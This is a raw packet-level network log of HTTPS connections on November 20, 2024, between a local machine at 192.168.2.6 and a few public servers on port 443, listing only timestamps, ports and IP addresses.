Nov 20, 2024 00:19:41.877448082 CET	50003	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.877487898 CET	50003	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.877487898 CET	50003	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.877507925 CET	443	50003	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.877521038 CET	443	50003	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.880079985 CET	50010	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.880117893 CET	443	50010	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.880287886 CET	50010	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.880455017 CET	50010	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.880481005 CET	443	50010	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.885951996 CET	443	50005	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.886734962 CET	443	50005	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.886791945 CET	50005	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.886794090 CET	443	50005	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.886868000 CET	50005	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.886921883 CET	50005	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.886931896 CET	443	50005	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.886941910 CET	50005	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.886945963 CET	443	50005	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.889069080 CET	50011	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.889116049 CET	443	50011	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.889194012 CET	50011	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.889369011 CET	50011	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.889394999 CET	443	50011	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.894751072 CET	443	50002	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.894994974 CET	443	50002	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.895039082 CET	50002	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.895054102 CET	443	50002	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.895065069 CET	443	50002	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.895097017 CET	50002	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.895153999 CET	50002	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.895174980 CET	443	50002	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.895191908 CET	50002	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.895200968 CET	443	50002	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.897289991 CET	50012	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.897335052 CET	443	50012	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.897419930 CET	50012	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.897589922 CET	50012	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.897604942 CET	443	50012	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.909185886 CET	443	50006	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.909302950 CET	443	50006	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.909354925 CET	443	50006	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.909400940 CET	50006	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.909400940 CET	50006	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.909451008 CET	50006	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.909451008 CET	50006	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.909466982 CET	443	50006	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.909475088 CET	443	50006	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.911644936 CET	50013	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.911676884 CET	443	50013	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.911734104 CET	50013	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.911864042 CET	50013	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.911875010 CET	443	50013	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.919951916 CET	443	50004	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.921472073 CET	443	50004	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.921550989 CET	50004	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.921550989 CET	50004	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.921570063 CET	50004	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.921580076 CET	443	50004	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.923727036 CET	50014	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.923757076 CET	443	50014	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.923819065 CET	50014	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.923988104 CET	50014	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.923999071 CET	443	50014	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.052489042 CET	443	49878	172.217.16.132	192.168.2.6
Nov 20, 2024 00:19:42.052580118 CET	443	49878	172.217.16.132	192.168.2.6
Nov 20, 2024 00:19:42.052659035 CET	49878	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:19:42.063044071 CET	49878	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:19:42.063079119 CET	443	49878	172.217.16.132	192.168.2.6
Nov 20, 2024 00:19:42.538497925 CET	443	50010	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.538990974 CET	50010	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.539002895 CET	443	50010	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.539433956 CET	50010	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.539438963 CET	443	50010	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.592603922 CET	443	50013	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.593022108 CET	50013	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.593050003 CET	443	50013	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.593445063 CET	50013	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.593451023 CET	443	50013	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.594676971 CET	443	50011	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.595571041 CET	50011	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.595593929 CET	443	50011	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.595958948 CET	50011	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.595968008 CET	443	50011	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.604325056 CET	443	50012	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.605340958 CET	50012	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.605407953 CET	443	50012	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.605881929 CET	50012	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.605906963 CET	443	50012	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.625570059 CET	443	50014	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.626092911 CET	50014	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.626153946 CET	443	50014	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.626471043 CET	50014	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.626485109 CET	443	50014	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.642328978 CET	443	50010	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.642600060 CET	443	50010	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.642656088 CET	50010	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.642857075 CET	50010	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.642869949 CET	443	50010	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.642878056 CET	50010	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.642884016 CET	443	50010	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.645719051 CET	50017	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.645735025 CET	443	50017	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.645853043 CET	50017	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.645998955 CET	50017	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.646013021 CET	443	50017	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.696962118 CET	443	50013	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.696993113 CET	443	50013	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.697046041 CET	443	50013	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.697211027 CET	50013	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.697277069 CET	50013	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.697290897 CET	443	50013	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.697300911 CET	50013	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.697304964 CET	443	50013	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.700217009 CET	50018	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.700261116 CET	443	50018	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.700359106 CET	50018	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.700481892 CET	443	50011	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.700524092 CET	50018	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.700537920 CET	443	50018	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.701317072 CET	443	50011	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.701385021 CET	443	50011	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.701385975 CET	50011	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.701436996 CET	50011	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.701497078 CET	50011	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.701514959 CET	443	50011	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.701528072 CET	50011	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.701534033 CET	443	50011	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.703569889 CET	50019	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.703589916 CET	443	50019	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.703877926 CET	50019	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.704027891 CET	50019	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.704036951 CET	443	50019	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.710084915 CET	443	50012	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.710665941 CET	443	50012	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.710743904 CET	50012	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.710828066 CET	50012	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.710829020 CET	50012	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.710870028 CET	443	50012	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.710897923 CET	443	50012	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.712955952 CET	50020	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.712980986 CET	443	50020	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.713992119 CET	50020	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.714016914 CET	50020	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.714020967 CET	443	50020	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.733905077 CET	443	50014	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.733994007 CET	443	50014	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.734113932 CET	50014	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.734236956 CET	50014	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.734236956 CET	50014	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.734251976 CET	443	50014	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.734273911 CET	443	50014	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.736421108 CET	50021	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.736437082 CET	443	50021	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:42.736638069 CET	50021	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.736768961 CET	50021	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:42.736777067 CET	443	50021	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.276617050 CET	50023	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:43.276699066 CET	443	50023	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:43.277362108 CET	50023	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:43.277910948 CET	50023	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:43.277946949 CET	443	50023	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:43.314995050 CET	443	50017	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.315488100 CET	50017	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.315500021 CET	443	50017	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.316013098 CET	50017	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.316019058 CET	443	50017	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.409188032 CET	443	50019	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.409703016 CET	50019	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.409723043 CET	443	50019	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.410145044 CET	50019	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.410151005 CET	443	50019	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.413702965 CET	443	50020	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.414035082 CET	50020	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.414047003 CET	443	50020	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.414482117 CET	50020	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.414489031 CET	443	50020	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.417028904 CET	443	50021	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.417422056 CET	50021	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.417433977 CET	443	50021	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.417830944 CET	50021	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.417834997 CET	443	50021	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.417890072 CET	443	50018	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.418323994 CET	50018	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.418334961 CET	443	50018	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.418786049 CET	50018	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.418792009 CET	443	50018	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.418823957 CET	443	50017	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.418885946 CET	443	50017	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.419135094 CET	50017	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.419198990 CET	50017	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.419207096 CET	443	50017	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.419217110 CET	50017	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.419222116 CET	443	50017	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.422285080 CET	50024	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.422313929 CET	443	50024	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.422375917 CET	50024	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.422523022 CET	50024	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.422532082 CET	443	50024	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.513331890 CET	443	50019	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.513482094 CET	443	50019	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.513663054 CET	50019	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.513685942 CET	50019	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.513685942 CET	50019	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.513698101 CET	443	50019	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.513708115 CET	443	50019	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.516463041 CET	50025	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.516495943 CET	443	50025	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.516571045 CET	50025	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.516686916 CET	50025	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.516701937 CET	443	50025	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.518121958 CET	443	50020	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.518537998 CET	443	50020	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.518661022 CET	50020	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.518682003 CET	50020	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.518682003 CET	50020	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.518693924 CET	443	50020	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.518701077 CET	443	50020	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.520876884 CET	50026	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.520903111 CET	443	50026	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.521061897 CET	50026	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.521190882 CET	50026	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.521202087 CET	443	50026	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.524830103 CET	443	50018	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.525054932 CET	443	50018	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.525118113 CET	443	50018	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.525121927 CET	50018	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.525160074 CET	50018	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.525207996 CET	50018	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.525217056 CET	443	50018	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.525228024 CET	50018	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.525233984 CET	443	50018	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.527019024 CET	50027	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.527036905 CET	443	50027	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.527102947 CET	50027	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.527221918 CET	50027	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.527235031 CET	443	50027	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.657607079 CET	443	50021	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.657715082 CET	443	50021	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.657776117 CET	50021	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.657785892 CET	443	50021	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.657828093 CET	443	50021	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.657881021 CET	50021	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.657968044 CET	50021	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.657978058 CET	443	50021	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.657989979 CET	50021	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.657994032 CET	443	50021	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.660584927 CET	50028	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.660665035 CET	443	50028	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:43.660872936 CET	50028	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.661055088 CET	50028	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:43.661087036 CET	443	50028	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.087801933 CET	443	50024	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.088242054 CET	50024	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.088259935 CET	443	50024	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.088751078 CET	50024	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.088756084 CET	443	50024	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.156537056 CET	443	50023	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:44.156631947 CET	50023	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:44.160315990 CET	50023	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:44.160321951 CET	443	50023	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:44.160551071 CET	443	50023	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:44.176810980 CET	443	50025	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.182585955 CET	50023	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:44.182585955 CET	50023	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:44.182629108 CET	443	50023	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:44.182723045 CET	50023	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:44.183809042 CET	50025	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.183841944 CET	443	50025	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.184396029 CET	50025	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.184403896 CET	443	50025	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.191924095 CET	443	50024	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.192173958 CET	443	50024	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.192234039 CET	50024	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.197362900 CET	443	50027	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.198491096 CET	50024	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.198503017 CET	443	50024	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.198514938 CET	50024	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.198520899 CET	443	50024	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.205885887 CET	443	50026	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.206373930 CET	50026	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.206387997 CET	443	50026	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.206928015 CET	50026	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.206933022 CET	443	50026	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.223350048 CET	443	50023	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:44.224616051 CET	50027	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.224637032 CET	443	50027	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.225133896 CET	50027	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.225140095 CET	443	50027	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.228234053 CET	50031	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.228266001 CET	443	50031	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.228380919 CET	50031	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.228619099 CET	50031	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.228631020 CET	443	50031	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.284110069 CET	443	50025	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.284451962 CET	443	50025	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.284497023 CET	443	50025	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.284513950 CET	50025	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.284558058 CET	50025	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.286366940 CET	50025	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.286377907 CET	443	50025	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.286393881 CET	50025	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.286400080 CET	443	50025	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.292042971 CET	50034	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.292058945 CET	443	50034	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.292218924 CET	50034	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.292427063 CET	50034	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.292440891 CET	443	50034	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.311522961 CET	443	50026	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.311707973 CET	443	50026	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.312218904 CET	50026	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.313126087 CET	50026	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.313138962 CET	443	50026	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.317295074 CET	50035	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.317315102 CET	443	50035	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.317400932 CET	50035	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.317516088 CET	50035	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.317528963 CET	443	50035	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.326277971 CET	443	50027	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.326401949 CET	443	50027	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.326560020 CET	50027	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.326595068 CET	50027	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.326595068 CET	50027	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.326611042 CET	443	50027	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.326622963 CET	443	50027	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.328747034 CET	50036	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.328757048 CET	443	50036	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.328807116 CET	50036	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.328943014 CET	50036	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.328953028 CET	443	50036	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.337656021 CET	443	50028	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.338136911 CET	50028	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.338159084 CET	443	50028	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.338685036 CET	50028	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.338696003 CET	443	50028	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.368004084 CET	443	50023	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:44.368184090 CET	443	50023	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:44.368240118 CET	50023	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:44.368359089 CET	50023	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:44.368366957 CET	443	50023	40.113.103.199	192.168.2.6
